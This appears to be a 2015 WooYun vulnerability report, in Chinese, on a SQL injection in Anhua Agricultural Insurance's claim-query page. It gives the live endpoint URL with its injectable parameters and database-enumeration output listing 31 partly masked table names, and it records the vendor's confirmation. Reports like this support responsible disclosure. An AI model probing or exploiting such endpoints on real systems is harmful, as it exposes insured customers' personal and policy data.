当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0140296

漏洞标题：安华农业保险某处SQL注入漏洞可泄露大量安华农保用户信息及保单信息

相关厂商：安华农业保险股份有限公司

漏洞作者： 路人甲

提交时间：2015-09-10 21:29

修复时间：2015-10-30 08:52

公开时间：2015-10-30 08:52

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-10： 细节已通知厂商并且等待厂商处理中
2015-09-15： 厂商已经确认，细节仅向厂商公开
2015-09-25： 细节向核心白帽子及相关领域专家公开
2015-10-05： 细节向普通白帽子公开
2015-10-15： 细节向实习白帽子公开
2015-10-30： 细节向公众公开

简要描述：

当保险变的不保险的时候，谁来负责呢？

详细说明：

安华农保主站中的入口：

B1.png


点击后，选个保险种类进入查询页面：

B2.png


我输入啊输入，get到个链接：

http://221.8.57.98:7005/EbsWeb/getMyInsurance.do?UIAction=ClaimQueryCheck&type=queryClaim&entryID=null&areaCode=&customerCName=1&licenseNo=1&policyno=1&vinno=1


测试注入，成功！

A1.png


A3.png


跑表：

web application technology: JSP
back-end DBMS: Oracle
Database: CARDIS
[31 tables]
+-------------------+
|  RPNOTICE         |
| @RP?OTEITEMS      |
| N@<DRECMODE       |
| P@ MAXNO          |
| WFP @H            |
| @FL@G             |
| @RP@OTER          |
| @RPD@IGGRAINRATIO |
| @RPD@USTOMER_IDV  |
| @RPDC@MPANY       |
| @RPDUSER          |
| @RPMAXUSE         |
| @UERYSTAT         |
| @WG@ADE           |
| @WNP@INFO         |
| P0@VOTETITLE      |
| P@LDCUSTOMER      |
| P@PDRECPRODUCT    |
| P@PVOTEGROUP      |
| PR@@ITEMCAR       |
| PR@@MA@N          |
| PRP@CONSULTATION  |
| PRP@ENTRY         |
| PRP@ENTRYPROPOSAL |
| PRPD@ODE          |
| PRPD@SERAPPEND    |
| QU@RYSTATDETAIL   |
| U@DR0UP           |
| UW@OTION          |
| WF@O@DITION       |
| WFN@@E            |
+-------------------+


如此的慢，就不拿数据了。

漏洞证明：

安华农保主站中的入口：

B1.png


点击后，选个保险种类进入查询页面：

B2.png


我输入啊输入，get到个链接：

http://221.8.57.98:7005/EbsWeb/getMyInsurance.do?UIAction=ClaimQueryCheck&type=queryClaim&entryID=null&areaCode=&customerCName=1&licenseNo=1&policyno=1&vinno=1


测试注入，成功！

A1.png


A3.png


跑表：

web application technology: JSP
back-end DBMS: Oracle
Database: CARDIS
[31 tables]
+-------------------+
|  RPNOTICE         |
| @RP?OTEITEMS      |
| N@<DRECMODE       |
| P@ MAXNO          |
| WFP @H            |
| @FL@G             |
| @RP@OTER          |
| @RPD@IGGRAINRATIO |
| @RPD@USTOMER_IDV  |
| @RPDC@MPANY       |
| @RPDUSER          |
| @RPMAXUSE         |
| @UERYSTAT         |
| @WG@ADE           |
| @WNP@INFO         |
| P0@VOTETITLE      |
| P@LDCUSTOMER      |
| P@PDRECPRODUCT    |
| P@PVOTEGROUP      |
| PR@@ITEMCAR       |
| PR@@MA@N          |
| PRP@CONSULTATION  |
| PRP@ENTRY         |
| PRP@ENTRYPROPOSAL |
| PRPD@ODE          |
| PRPD@SERAPPEND    |
| QU@RYSTATDETAIL   |
| U@DR0UP           |
| UW@OTION          |
| WF@O@DITION       |
| WFN@@E            |
+-------------------+


如此的慢，就不拿数据了。

修复方案：

搞搞参数过滤。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-09-15 08:51

厂商回复：

该漏洞正在积极处理中。

最新状态：

暂无

漏洞评价：

评论